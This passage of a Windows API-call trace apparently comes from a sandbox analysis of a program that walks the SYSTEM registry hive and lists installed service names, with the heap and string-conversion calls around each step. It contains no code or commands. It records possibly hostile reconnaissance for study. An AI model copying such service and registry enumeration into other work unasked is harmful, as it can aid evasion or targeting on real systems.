lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0230.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1ad8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0230.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0230.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0230.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0230.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0230.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0230.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0230.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0230.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0230.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0230.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0230.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.823] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0230.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0230.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0230.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.823] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0230.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0230.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0230.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.823] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0230.823] RegCloseKey (hKey=0xc4) returned 0x0 [0230.823] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0230.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0230.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.824] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0230.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0230.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0230.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.824] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0230.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0230.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0230.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.824] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0230.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0230.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.824] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0230.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0230.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.825] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0230.825] RegCloseKey (hKey=0x148) returned 0x0 [0230.825] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0230.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0230.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0230.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.825] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0230.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0230.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a90, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0230.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.825] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0230.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0230.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1ad8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0230.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.826] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0230.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0230.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a90, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0230.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.826] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0230.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0230.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1ad8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0230.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.826] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0230.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0230.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0230.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.827] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0230.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0230.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0230.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.827] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0230.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0230.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.827] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0230.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0230.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.827] 